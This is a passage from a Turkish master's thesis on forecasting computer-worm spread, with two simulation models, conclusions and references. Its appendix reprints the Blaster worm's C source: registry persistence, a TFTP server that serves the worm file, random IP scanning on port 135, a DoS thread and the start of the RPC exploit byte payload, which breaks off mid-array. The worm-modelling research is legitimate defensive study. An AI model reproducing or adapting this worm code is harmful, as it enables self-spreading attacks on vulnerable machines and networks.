• Sonuç bulunamadı

5. SOLUCAN YAYILIM KESTĠRĠMĠNDE ÖNERĠLEN MODELLER

5.1. Model I

Solucan yayılım kestirimini gerçekleĢtirebilmek için bugüne kadar en fazla kullanılan yöntemler epidemik modeller olmuĢtur. Epidemik modellerin en geliĢmiĢi olan Ġki Faktörlü Yayılım Modeli dahi solucan yayılımını modellemede, solucan yayılımı rastgele süreçlerden oluĢtuğu için tam anlamıyla baĢarılı olamamaktadır. Bu çalıĢmada solucan yayılımının kestirilmesi amacıyla Markov süreçleri kullanılarak yeni bir model geliĢtirilmiĢtir.

“Markov süreci bir olasılık sürecidir ve gelecekteki olayların bir durumunu içerir. Markov süreçleri ileride ortaya çıkması olası durumların gerçekleĢme olasılıklarının, geçmiĢ verilerden değil Ģu andaki verilerden yararlanarak bulunduğu süreçlerdir. Markov süreçlerinin temel özelliği, belirli bir zaman diliminde çeĢitli durumlarda bulunmanın ve bir durumdan diğer duruma geçiĢ olasılıklarının göz önüne alınmasıdır. Bir durumdan diğer duruma geçiĢ daha önceki durumlara bağlı olmayıp, sadece bir önceki duruma bağlıdır. Bu açıdan, Markov süreci için önceki durum hariç, daha önceki durumların bilinmesi gereksinimi yoktur. Bu özelliğe Markov özelliği denir (Lapin, 1992, 876). [34]”

“Markov özelliği olan bir sistemde, bir durumdan diğer duruma geçiĢ, sadece bir önceki duruma bağlı olan Ģartlı olasılıkla ifade edilir. ġöyleki anındaki durum olasılığı ,

anındaki de olması olasılığı:

koĢullu olasılığı ile gösterilir ve bu koĢullu olasılık sisteminin anından anına geçiĢi tamamlandığından buna bir adımlı geçiĢ denir. k adımlı geçiĢ olasılığı ise rastsal değiĢken olmak üzere:

57

ile ifade edilir. < < K < (n=0,1,2…) zamana ait noktaları gösteriyorsa rastsal değiĢken ailesi lerin bütün olası değerleri için:

biçiminde verilen Markov özelliğine sahip ise buna bir Markov sürecidir denir. (Taha, 1992, 703) [34]”

Markov süreçleri kullanılarak oluĢturulan Model I‟in solucan yayılımında var olan rastgeleliği yansıtabilmesi için modele rastgele bir gürültü eklenmiĢtir.

(5.1)

Model I (5.1) denklemi ile temsil edilir. Bu modelde:

: i anında enfeksiyonlu toplam bilgisayar sayısını temsil eder. : Solucan yayılım oranını temsil eder.

W[i]: i anındaki rastgele gürültü miktarını temsil eder.

Modele göre bir i anındaki enfeksiyonlu bilgisayar sayısı enfeksiyon yayılım oranı, bir önceki enfeksiyonlu bilgisayar sayısının çarpımı ile rastgele olarak üretilmiĢ gürültü miktarının toplamına bağlı olarak değiĢir. Modelin simülasyonunu gerçekleĢtirmek üzere bir yazılım programı tasarlanmıĢtır. Tasarlanan programda, kullanıcı ardıĢıl atak sayısını, ağdaki baĢlangıç enfeksiyon miktarını ve ortalama birim zaman aralığını tanımlayabilmektedir. ġekil 5.1‟deki örnekte aĢağıda listelenen parametreler kullanıldığında programın ürettiği yayılma grafiği gösterilmektedir.

Atak sayısı (i) : 1000

Virüs yayılım oranı ( ) : 1.05 Birim zaman aralığı: 5 saniye

58

ġekil 5.1: Model I birinci uygulama sonucu

ġekil 5.1‟de görülen grafik verilen parametrelerle solucanın çok hızlı bir Ģekilde üstel olarak kısa sürede yayıldığını göstermektedir.

GeliĢtirilen modelde W[i] değeri rastgele olarak belirlendiğinden, sistem her çalıĢtırıldığında farklı sonuçlara ulaĢabilir, farklı bir grafik oluĢturulabilir. ġekil 5.2‟de aynı değerler kullanılarak sistem yeniden çalıĢtırılmıĢtır ve görüldüğü gibi sonuç birbirine yakın olsa da enfeksiyon eğrileri birbirinden farklıdır. Birinci uygulama, ikinci uygulama sonucuna göre daha fazla sayıda bilgisayara enfeksiyon bulaĢacağı öngörülmüĢtür.

59

Modelde kullanılan değerler: Atak sayısı: 1000 (i)

Virüs yayılım oranı: 1.005 ( ) Birim zaman aralığı: 5 saniye

BaĢlangıçta enfeksiyonlu olan bilgisayar sayısı: 5 )

olarak değiĢtirildiğinde ise ġekil 5.3‟de görülen sonuç elde edilmiĢtir. ġekil 5.3 ve ġekil 5.2, ġekil 5.1 karĢılaĢtırılırsa virüs yayılım oranı daha az olan üçüncü uygulama sonucunda daha az sayıda bilgisayara enfeksiyon bulaĢtığı ve yayılım oranının daha yavaĢ olduğu görülmektedir.

ġekil 5.3: Model I üçüncü uygulama sonucu

5.2. Model II

GerçekleĢtirilen bu modelde yerel ağlarda birbiri ile iliĢkide olan bilgisayarların hiçbir engel olmadığı takdirde nasıl yayılacağı komĢuluk iliĢkileri kullanılarak kestirilmiĢtir. Kestirimin görüntülenmesi için bir program geliĢtirilmiĢtir. Sistemde ilk olarak yerel ağları temsil eden ve programı kullanan kullanıcının istediği oranda enfeksiyonlu bilgisayar temsili içeren bir enfeksiyon matrisi oluĢturulur. Enfeksiyon matrisi “1” ve “0” değerlerinden meydana gelir. Enfeksiyonlu her bir bilgisayar; oluĢturulan enfeksiyon matrisinde “1” değeri, enfeksiyonlu olmayan her bir bilgisayar ise “0” değeri ile temsil edilmiĢtir. Dolayısı ile eğer program kullanıcısı

60

200 bilgisayardan oluĢan bir ağın %3‟ünün enfeksiyonlu olarak temsil edilmesini isterse matriste yer alan yaklaĢık 6 adet değerin “1” olması beklenir.

Model yerel ağdaki her bir bilgisayarın iki komĢusu olduğunu ve bu komĢulardan birinden enfeksiyon kapabileceğini kabul eder. Bilgisayarların enfeksiyonlu olup olmadığı bit değerleri ile ifade edilmiĢtir. BaĢlangıçta ya da daha sonra enfeksiyonlu olan bir bilgisayar, yani “1” değerine sahip olan bir bilgisayar bir önceki komĢusu eğer “0” değerine sahipse ona enfeksiyon bulaĢtırabilir, “1” değerine geçmesine sebep olabilir. Yeni “1” değerine kavuĢan komĢu bir sonraki yayılım döngüsünde kendisinin diğer komĢusuna da solucan bulaĢtırmaya çalıĢacaktır.

Model II bir çeĢit yerel ağlar arası en kötü durum senaryosunu görüntülemedir. Bu nedenle ağda enfeksiyon bulaĢacak bilgisayar kalmayıncaya kadar, ya da ağdaki tüm bilgisayarlara enfeksiyon bulaĢana kadar enfeksiyon döngüsü tekrarlanır.

Model II‟ ye ait algoritma adım adım incelenmek istenirse:

ġekil 5.4 geliĢtirilen modele ait rastgele ağ enfeksiyon durumu oluĢturma algoritmasını göstermektedir. Model sistemde yer alan enfeksiyonlu ve enfeksiyonlu olmayan bilgisayarları bir matris üzerinde tutar. Enfeksiyonlu olan bilgisayarlar matriste “1” değeri ile gösterilirken, enfeksiyonlu olmayan bilgisayarlar “0” değeri ile gösterilir. Bu bağlamda kullanıcı tarafından belirtilen oranda solucan bulaĢmıĢ bilgisayardan; yani “1” değerinden oluĢmuĢ bir rastgele matris üretilir.

Her biri 10 bilgisayardan oluĢan 8 yerel ağlık, yani toplam 80 bilgisayardan oluĢan bir sistemin %5 enfeksiyonlu olduğunu belirten ve program tarafından oluĢturulmuĢ enfeksiyon matrisi tablo 5.1‟de görülmektedir. 80 bilgisayarın %5‟i yani toplam dört adet bilgisayar enfeksiyonludur. Bu dört adet bilgisayar enfeksiyon matrisi içerisinden rastgele bir biçimde seçilmiĢtir. Tablo 5.1‟de yer alan enfeksiyon matrisinde enfeksiyonlu bilgisayarların 1. yerel ağdan 4. bilgisayar, 4. yerel ağdan 1. ve 9. bilgisayar, 6. yerel ağdan ise 5. bilgisayar olarak seçildiği görülmektedir.

61

Tablo 5.1: Enfeksiyon matrisi

Enfeksiyon Matrisi 1. Bil. 2. Bil. 3. Bil. 4. Bil. 5. Bil. 6. Bil. 7. Bil. 8. Bil. 9. Bil. 10. Bil. 1. Yerel ağ 0 0 0 1 0 0 0 0 0 0 2. Yerel ağ 0 0 0 0 0 0 0 0 0 0 3. Yerel ağ 0 0 0 0 0 0 0 0 0 0 4. Yerel ağ 1 0 0 0 0 0 0 0 1 0 5. Yerel ağ 0 0 0 0 0 0 0 0 0 0 6. Yerel ağ 0 0 0 0 1 0 0 0 0 0 7. Yerel ağ 0 0 0 0 0 0 0 0 0 0 8. Yerel ağ 0 0 0 0 0 0 0 0 0 0

ġekil 5.5 geliĢtirilen modelde yerel ağlar arası enfeksiyon algoritmasını gösterir. Eğer enfeksiyonlu olmayan bir bilgisayarın (“0” değerine sahip bir bilgisayarın) bir sonraki komĢusu enfeksiyonlu (“1” değerine sahip) ise, enfeksiyonlu olmayan bilgisayara komĢusu tarafından enfeksiyon bulaĢtırılacağı kabul edilir. Böylece “0” değeri, “1” yapılır ve bu bilgisayar da komĢularına solucan bulaĢtırabilir.

Tablo 5.2: Enfeksiyon sıçraması

No. Önce Sonra

1 010101 111111

2 010010 110110

3 110000 110001

Tablo 5.2‟de, 1 numaralı örneği ele alırsak, kırmızı ile gösterilen bilgisayarlar enfeksiyonlu olmasına rağmen kendilerinden bir önce ağda yer alan bilgisayarlar enfeksiyonlu değildir. Bu nedenle kırmızı ile gösterilmiĢ “1” değerleri, kendisinden bir önce ağda yer alan “0” değer ile gösterilen bilgisayarlara enfeksiyon bulaĢtıracaktır. Sonuçta tüm ağa enfeksiyon bulaĢmıĢtır. 2 numaralı örnekte ise algoritmanın enfeksiyon bulaĢtırma tanımlamasına uyan yalnızca iki adet bit vardır. Bu iki bit kırmızı ile, enfeksiyon bulaĢtıracağı bitler mavi ile gösterilmiĢtir. 3 numaralı örnekte ağda yer alan son bilgisayara nasıl enfeksiyon bulaĢtığı görülmektedir. Eğer ağdaki bir numaralı bitte solucan varsa, solucan olmayan altı numaralı bite solucan bulaĢabilmektedir.

62

63

ġekil 5.5: Model II yerel ağ içi yayılım algoritması

Model II yalnızca yerel ağlar içerisindeki yayılım iliĢkilerini değil, yerel ağlar arası yayılım iliĢkilerini de içermektedir. OluĢturulan modele göre her yerel ağdaki bir bilgisayarın, komĢu yerel ağlardan baĢka bir bilgisayarla iliĢkide olduğu kabul edilmiĢtir. Bu iliĢki her bir atak için rastgele olarak atanmıĢtır. Yani birinci yerel ağda yer alan rastgele bir bilgisayarla, ikinci yerel ağda yer alan rastgele bir bilgisayar; ikinci yerel ağda yer alan rastgele bir bilgisayarla, üçüncü yerel ağda yer alan rastgele bir bilgisayar iliĢkide kabul edilmiĢtir. Yerel ağlar arası iliĢkilerin Model II‟de yer alan algoritması ġekil 5.6‟de görülmektedir.

64

ġekil 5.6: Model II yerel ağlar arası yayılım algoritması

BaĢlangıçta 654 tanesi enfeksiyonlu olan, 50 yerel ağ ve her yerel ağda 100 bilgisayar içeren bir sistem için Model II‟nin uygulama sonuçları Ģekilde görülmektedir. Toplam 97 atak sonucunda ağdaki tüm bilgisayarlar enfeksiyon kapmıĢtır. Uygulama sonucu oluĢan yayılım grafiği ġekil 5.7‟de görülebilir.

65

ġekil 5.7: Model II uygulama sonucu I

1000 yerel ağdan oluĢan ve her bir yerel ağın 500 bilgisayar içerdiği bir sistemin %1 enfeksiyonlu olduğu varsayılırsa elde edilen yayılım grafiği ġekil 5.8‟de görüldüğü gibidir. ġekil 5.9‟da ağ parametreleri aynı kalmıĢ fakat enfeksiyonlu bilgisayar sayısı %2 olarak kabul edilmiĢtir. ġekil 5.10‟da ise enfeksiyon yüzdesi %3 olarak alınmıĢtır.

ġekil 5.8, ġekil 5.9 ve ġekil 5.10 karĢılaĢtırıldığında enfeksiyonlu bilgisayar yüzdesi en fazla olan ġekil 5.10‟un en hızlı yayılımı gösterdiği, en az eneksiyonlu bilgisayar yüzdesine sahip olan ġekil 5.8‟in ise en yavaĢ yayılımı gösterdiği görülmektedir. ġekil 5.10‟da görülen grafikte toplam 294 atak sonucu tüm bilgisayarlar enfeksiyon kaparken ġekil 5.9‟da 417, ġekil 5.8‟de 498 atakta tüm bilgisayarlar enfeksiyon kapmıĢtır

Uygulama sonuçlarında görüldüğü üzere enfeksiyonlu bilgisayar sayısı arttıkça solucan yayılım hızı artmakta, tüm bilgisayarlara enfeksiyon bulaĢması için gerçekleĢtirilmesi gereken atak sayısı azalmaktadır.

66

ġekil 5.8: Model II uygulama sonucu II

67

68

6. SONUÇLAR VE ÖNERĠLER

Ağ ve bilgi güvenliğini sağlamada en önemli unsurlardan birisi ne tür saldırılarla karĢılaĢılabileceğini bilmektir. Günümüz bilgisayar dünyasında ağ ve bilgi güvenliğini tehdit edebilecek pek çok saldırı türü vardır. Bu saldırılardan en önemlilerinden biri Ģüphesiz solucanlardır.

Solucanlar kullanıcının tercihlerinden bağımsız olarak yayılabildiği için diğer zararlılara göre çok hızlı bir biçimde yayılarak çok daha büyük sonuçlar doğurabilmektedir. ġüphesiz ki bir tehditten korunabilmenin en önemli yollarından birisi onun izleyebileceği yolu bilmektir. Bu amaçla solucanların ağ üzerinde yayılımları hakkında çeĢitli çalıĢmalar yapılmıĢtır.

Yapılan çalıĢmalarda genellikle salgın hastalıkların yayılımını modellemede kullanılan epidemiyolojik modeller kullanılmıĢtır. Solucan yayılımını kestirmek birden çok rastgele parametreye bağlı olduğu için oldukça zordur. Solucanın yapısı, boyutu, tarama stratejisi, kullanıcının tercihleri gibi pek çok parametreye bağlı olarak solucanın ağda yayılımı değiĢmektedir. Bu nedenle bu yayılımı öngörebilmek oldukça güç bir iĢtir. Ayrıca epidemiyolojik yayılım modelleri ağda meydana gelebilecek rastgele süreçlerden bağımsız olarak iĢlediği için modeller tam olarak baĢarı sağlayamamaktadır.

Son yıllarda genetik algoritmalar ile solucanların yayılım kestirimi elde edilmeye çalıĢılmaktadır. Ancak bu alanda da çok büyük bir baĢarı elde edilememiĢtir.

Bu çalıĢmada solucan kestiriminde alternatif olarak kullanılabilecek bir sistem için iki adet model oluĢturulmuĢtur: Model I ve Model II.

Model I epidemiyolojik modellerden farklı olarak ağa solucan bulaĢma sürecini ayrık bir yapı olarak kullanmıĢ ve ağda meydana gelen her bir döngüde – iliĢkide rastgele bir süreç olduğu için bu rastgele süreci yansıtacak bir gürültü değeri eklenmiĢtir. Model II ise algoritmik kabullerden meydana gelen bir yapıya sahiptir. OluĢturulan bir matris üzerinde yerel ağlar temsil edilmiĢtir. Bu yerel ağlarda enfeksiyonlu

69

bilgisayarlar “1” değeri ile enfeksiyonlu olmayan bilgisayarlar ise “0” değeri ile gösterilmiĢtir. Yerel ağlar içinde ve yerel ağlar arasında enfeksiyon geçiĢleri yapılarak bir bilgisayar ağındaki enfeksiyon yayılımı kestirilmiĢtir.

Bir bilgisayar ağında solucan yayılımını kestirmek, solucan yayılımını etkileyen birbirinden bağımsız pek çok parametrenin varlığı nedeniyle oldukça zor bir iĢtir. GeliĢtirilen Model I ve Model II kestirimi gerçeklemek için farklı yaklaĢımlar kullanmaktadırlar. Ancak özellikle Model II genel olgular üzerinden hareket etmekte, özel durumları içermemektedir. Bu nedenle tam manasıyla bir kestirim elde edebilmek için özel durumları da kestirimde göz önünde bulunduracak biçimde model geliĢtirilebilir.

70

KAYNAKLAR

[1] Clancy, T.C., 2008, Network immunity [online], University of Maryland, http://www.cs.umd.edu/~clancy/ents689i/689iwk0.pdf, (Ziyaret tarihi: 10 Mayıs

2009).

[2] Soğukpınar, Ġ., 2002, Veri ve ağ güvenliği [online], Gebze Yüksek Teknolojisi Enstitüsü, http://www.bilmuh.gyte.edu.tr/?d=.docs/kisiler/ispinar.htm, (Ziyaret

tarihi: 2 Ocak 2009).

[3] C.E.R.T., İstatistikler Tarihçesi [online], 2009, http://www.cert.org/stats/,

(Ziyaret

tarihi: 20 Mayıs 2009).

[4] Stallings, W., “Cryptography and Network Security”, Fourth edition, Prentice Hall, 598-619, (2005).

[5] Steichen, P., 2008, Advanced security methodologies – Computer and network

attacks, Metz University, http://pst.libre.lu/m2ssic-metz/02_attacks.pdf, (Ziyaret tarihi: 20 Mayıs 2009).

[6] Berkay, A., Hack Teknikleri [online], Gebze Yüksek Teknoloji Enstitüsü, www.bilmuh.gyte.edu.tr/~ispinar/BIL673/Hacktek.pdf, (Ziyaret tarihi: 03 Temmuz

2009).

[7] Usgurlu, Ü.B., Sahte E-Posta [online], BaĢkent Üniversitesi,

mail.baskent.edu.tr/~20394676/0402/bil413/bil413hw1.pdf, (Ziyaret tarihi: 03

Temmuz 2009).

[8] Center for Engineering and Computer Science, 2006, Attacks and defenses [online], www.ecs.csus.edu/csc/iac/csc196n/lecture_notes/WORMS.ppt, (Ziyaret

tarihi: 24 ġubat 2009).

[9] Staniford, S., 2006, Frequently asked questions on worms and worm containment [online], The Worm Information Center, http://www.cs.utexas.edu/~shmat/courses/ cs378_Spring09/, (Ziyaret tarihi: 24 ġubat 2009).

[10] Spafford, E.H., “The Internet Worm Program: An Analysis”, ACM SIGCOMM Computer Communication, 19, 0146-4833, 17-57, (1989).

[11] Fosnock, C., 2005, Computer worms: past, present and future [online], East Caroline University, http://www.infosecwriters.com/text_resources/pdf/Computer_ Worms_Past_Present_and_Future.pdf, (Ziyaret tarihi: 24 ġubat 2009).

[12] Lockwood, J., W., 2003, Internet worms and computer viruses [online], Washington University, http://www.arl.wustl.edu/projects/fpx/cse535/lecture/cse535 _lecture8_Internet_Worms_and_Virus.pdf, (Ziyaret tarihi: 24 ġubat 2009).

71

[13] Casado, M., 2006, An introduction to computer networks [online], Stanford University, http://www.stanford.edu/class/cs244a/, (Ziyaret tarihi: 24 ġubat 2009).

[14] Moore, D., Shannon, C., The spread of the Code Red Worm [online],

C.A.I.D.A., http://www.caida.org/research/security/code-

red/coderedv2_analysis.xml, (Ziyaret tarihi: 24 ġubat 2009).

[15] Staniford, S., Paxson, V., Weaver, N., “How to Own the Internet in Your Spare Time”, USENIX Security Symposium, Proceedings of the 11th USENIX Security Symposium, 149-167, (2002).

[16] Moore, D., Paxson, V., Savage, S., Shannon, C., Staniford, S., Weaver, N., “Inside the Slammer Worm”, IEEE Security & Privacy, 1, 33-39, (2003).

[17] Moore, D., Paxson, V., Savage, S., Shannon, C., Staniford, S., Weaver, N., The

spread of the Sapphire/Slammer Worm [online], C.A.I.D.A., http://www.caida.org/

publications/papers/2003/sapphire/sapphire.html, (Ziyaret tarihi: 24 ġubat 2009).

[18] Rivest, R., 2002, Computer and network security [online], Massachusetts Institute of Technology, http://web.mit.edu/6.857/OldStuff/Fall02/handouts/L17- virus.pdf, (Ziyaret tarihi: 24 ġubat 2009).

[19] Kak, A., 2008, Malware: viruses and worms [online], Purdue University, http://cobweb.ecn.purdue.edu/~kak/compsec/NewLectures/Lecture22.pdf, (Ziyaret

tarihi: 24 ġubat 2009).

[20] 2008, Some well known malwares, http://www.malwareinfo.org/articles/ Malware%20Celebrities.htm, (Ziyaret tarihi: 24 ġubat 2009).

[21] Brown, J., 2001, Analysis of Code Red worm [online], C.A.I.D.A.,http://www. caida.org/research/security/code-red/#dynamic_graphs, (Ziyaret tarihi: 24 ġubat

2009).

[22] Moore, D., Paxson, V., Savage, S., Shannon, C., Staniford, S., Weaver, N., 2003, The spread of the Sapphire/Slammer Worm, C.A.I.D.A., http://www.caida.org /publications/papers/2003/sapphire/sapphire.html, (Ziyaret tarihi: 25 ġubat 2009).

[23] Weaver, N., Paxson, V., Staniford, S., Cunnigham, R., “A Taxonomy of Computer Worms”,Workshop on Rapid Malcode, Proceedings of the 2003 ACM workshop on Rapid malcode, 11-18, (2003).

[24] Wagner, A., Dübendorfer, T., Plattner, B., Hiestnad, R., “Experiences with Worm Propagation Simulations”, Workshop on Rapid Malcode, Proceedings of the 2003 ACM workshop on Rapid malcode, 34 - 41, (2003).

[25] Fonseca, N., Riga, N., 2004, Simulating worms [online], Boston University, www.cs.bu.edu/groups/nrg/slides/f04/niky-nahur-0920-worm%20simulation.ppt,

(Ziyaret tarihi: 24 ġubat 2009).

[26] Zou, C., C., Gao, L., Gong, W., Towsley, D., “Monitoring and Early Warning for Internet Worms”, Conference on Computer and Communications Security, Proceedings of the 10th ACM conference on Computer and communications security, 190-199, (2003).

72

[27] Nicol, D., M., Lijenstam, M., Models of Internet Worm Defense [online], IMA

Workshop 4: Measurement, Modeling and Analysis of the Internet,

www.ima.umn.edu/talks/workshops/1-12-16.2004/nicol/talk.pdf, (Ziyaret tarihi: 24

ġubat 2009).

[28] Misslinger, S., 2005, Internet worm propagation [online], Technische UniversitÄat MÄunchen, http://www.model.in.tum.de/um/courses/seminar/worm/ WS0405/misslinger.pdf, (Ziyaret tarihi: 24 ġubat 2009).

[29] Zou, C., C., Gong, W., Towsley, D., “Code Red Worm Propagation Modeling and Analysis”, Conference on Computer and Communications Security, Proceedings of the 9th ACM conference on Computer and communications security, 138-147, (2002).

[30] Jamil, N., Chen, T.,M., “A Web-Based Network Worm Simulator”, IEEE International Conference on Communications, ICC Proceedings, 1461-1465, (2007).

[31] Riley, G.,E., Sharif, M.,L., Lee, W., “Simulating Internet Worms”, Modeling, Analysis, and Simulation of Computer and Telecommunications Systems,. MASCOTS Proceedings, 268-274, (2004).

[32] Zou, C., C., Towsley, D., Gong, W., “On the Performance of Internet Worm Scanning Strategies”, Performance Evaluation, 63, 700-723, (2006).

[33] Goranin, N., Cenys, A., “Genetic Algorithm Based Internet Worm Propagation Strategy Modeling”, Information Technology And Control, 37, 2, 95-100, (2008).

[34] Rüzgar, N., S., “Bir ĠĢletmenin Ödemeler Dengesinin Markov Süreçleri Yardımıyla Analizi”, Dokuz Eylül Üniversitesi Sosyal Bilimler Enstitüsü Dergisi, 5, 1, (2003).

[35] Riley, G., Internetwork Security – Viruses, Worms and Wireless [online], Georgia Institute of Technology, http://users.ece.gatech.edu/~riley/ece4112/handouts /lab8.pdf, (Ziyaret tarihi: 3 Temmuz 2009).

73

EKLER

Ek – A: Blaster solucanı kaynak kodu [35]

#include <winsock2.h> #include <ws2tcpip.h> #include <wininet.h> #include <stdio.h>

#pragma comment (lib, "ws2_32.lib") #pragma comment (lib, "wininet.lib") #pragma comment (lib, "advapi32.lib")

const char msg1[]="I just want to say LOVE YOU SAN!!"; const char msg2[]="billy gates why do you make this possible ?" " Stop making money and fix your software!!";

#define MSBLAST_EXE "msblast.exe"

#define MSRCP_PORT_135 135 TFTP_PORT_69 69 #define SHELL_PORT_4444 4444 char target_ip_string[16]; int fd_tftp_service; int is_tftp_running; char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID); void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip); void blaster_send_syn_packet(int target_ip, int fd);

74

/*************************************************************** * 'msblast.exe' programı buradan sonra çalıĢmaya baĢlar*

***************************************************************/

void main(int argc, char *argv[]) { WSADATA WSAData; char myhostname[512]; char daystring[3]; char monthstring[3]; HKEY hKey; int ThreadId;

register unsigned long scan_local=0;

RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Window s\\"

"CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_AC CESS,NULL, &hKey,0);

RegSetValueExA(hKey, "windows auto update", 0, REG_SZ, MSBLAST_EXE, 50); RegCloseKey(hKey);

CreateMutexA(NULL, TRUE, "BILLY");

if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0);

if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 && WSAStartup(MAKEWORD(1,1), &WSAData) != 0 && WSAStartup(1, &WSAData) != 0)

return;

GetModuleFileNameA(NULL, msblast_filename, sizeof(msblast_filename));

while (!InternetGetConnectedState(&ThreadId, 0)) Sleep (20000); /*20 saniye bekle ve tekrar dene */

ClassD = 0;

srand(GetTickCount());

local_class_a = (rand() % 254)+1; local_class_b = (rand() % 254)+1;

if (gethostname(myhostname, sizeof(myhostname)) != -1) { HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) { struct in_addr in;

75

const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in)); sprintf(myhostname, "%s", inet_ntoa(in)); p_addr_item = strtok(myhostname, "."); ClassA = atoi(p_addr_item); p_addr_item = strtok(0, "."); ClassB = atoi(p_addr_item); p_addr_item = strtok(0, "."); ClassC = atoi(p_addr_item); if (ClassC > 20) { srand(GetTickCount()); ClassC -= (rand() % 20); } local_class_a = ClassA; local_class_b = ClassB; scan_local = TRUE; } } srand(GetTickCount()); if ((rand() % 20) < 12) scan_local = FALSE; winxp1_or_win2k2 = 1; if ((rand()%10) > 7) winxp1_or_win2k2 = 2; if (!scan_local) { ClassA = (rand() % 254)+1; ClassB = (rand() % 254); ClassC = (rand() % 254); }

#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT) #define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)

GetDateFormat( LOCALE_409, 0, NULL, /*yerel saat*/ "d", daystring, sizeof(daystring));

GetDateFormat( LOCALE_409, 0, NULL, /*yerel saat*/ "M", monthstring, sizeof (monthstring));

if (atoi(daystring) > 15 && atoi(monthstring) > 8) CreateThread(NULL, 0,

blaster_DoS_thread, 0, 0, &ThreadId);

76

for (;;)

blaster_spreader();

WSACleanup(); }

DWORD WINAPI blaster_tftp_thread(LPVOID p) { struct TFTP_Packet { short opcode; short block_id; char data[512]; }; char reqbuf[512];

struct sockaddr_in server; struct sockaddr_in client; int sizeof_client;

char rspbuf[512];

static int fd; register FILE *fp; register block_id; register int block_size;

is_tftp_running = TRUE; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd == SOCKET_ERROR) goto closesocket_and_exit; memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(TFTP_PORT_69); server.sin_addr.s_addr = 0;

if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0) goto closesocket_and_exit;

sizeof_client = sizeof(client);

if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, (struct sockaddr*)&client, &sizeof_client) <= 0) goto closesocket_and_exit;

block_id = 0;

77 if (fp == NULL) goto closesocket_and_exit; for (;;) { block_id++; #define TFTP_OPCODE_DATA 3 *(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA); *(short*)(rspbuf+2)= htons((short)block_id); block_size = fread(rspbuf+4, 1, 512, fp); block_size += 4;

if (sendto(fd, (char*)&rspbuf, block_size, 0, (struct sockaddr*)&client, sizeof_client) <= 0) break; Sleep(900); if (block_size != sizeof(rspbuf)) { fclose(fp); fp = NULL; break; } } if (fp != NULL) fclose(fp); closesocket_and_exit: is_tftp_running = FALSE; closesocket(fd); ExitThread(0); return 0; } void blaster_increment_ip_address() { for (;;) { if (ClassD <= 254) { ClassD++; return; } ClassD = 0; ClassC++;

78 if (ClassC <= 254) return; ClassC = 0; ClassB++; if (ClassB <= 254) return; ClassB = 0; ClassA++; if (ClassA <= 254) continue; ClassA = 0; return; } } void blaster_spreader() { fd_set writefds; register int i;

struct sockaddr_in sin; struct sockaddr_in peer; int sizeof_peer;

int sockarray[20]; int opt = 1;

const char *victim_ip;

memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET;

sin.sin_port = htons(MSRCP_PORT_135);

for (i=0; i<20; i++) {

sockarray[i] = socket(AF_INET, SOCK_STREAM, 0); if (sockarray[i] == -1)

return;

ioctlsocket(sockarray[i], FIONBIO , &opt); }

for (i=0; i<20; i++) { int ip;

blaster_increment_ip_address();

sprintf(target_ip_string, "%i.%i.%i.%i", ClassA, ClassB, ClassC, ClassD);

ip = inet_addr(target_ip_string); if (ip == -1)

return;

79

connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin)); }

Sleep(1800);

struct timeval timeout; int nfds; timeout.tv_sec = 0; timeout.tv_usec = 0; nfds = 0; FD_ZERO(&writefds); FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) { closesocket(sockarray[i]);

} else {

sizeof_peer = sizeof(peer); getpeername(sockarray[i],

(struct sockaddr*)&peer, &sizeof_peer); victim_ip = inet_ntoa(peer.sin_addr); blaster_exploit_target(sockarray[i], victim_ip); closesocket(sockarray[i]); } } }

void blaster_exploit_target(int sock, const char *victim_ip) {

unsigned char bindstr[]={

0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0xD0, 0x16, 0xD0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00};

unsigned char request1[]={

0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00, 0x00, 0xE5, 0x00, 0x00 , 0x00, 0xD0, 0x03, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00 , 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x24, 0x58, 0xFD, 0xCC, 0x45, 0x64, 0x49, 0xB0, 0x70, 0xDD, 0xAE, 0x74, 0x2C, 0x96, 0xD2, 0x60, 0x5E, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x5E, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x00, 0x7C, 0x5E, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x80, 0x96, 0xF1, 0xF1, 0x2A, 0x4D, 0xCE, 0x11, 0xA6, 0x6A, 0x00, 0x20, 0xAF, 0x6E, 0x72,

80

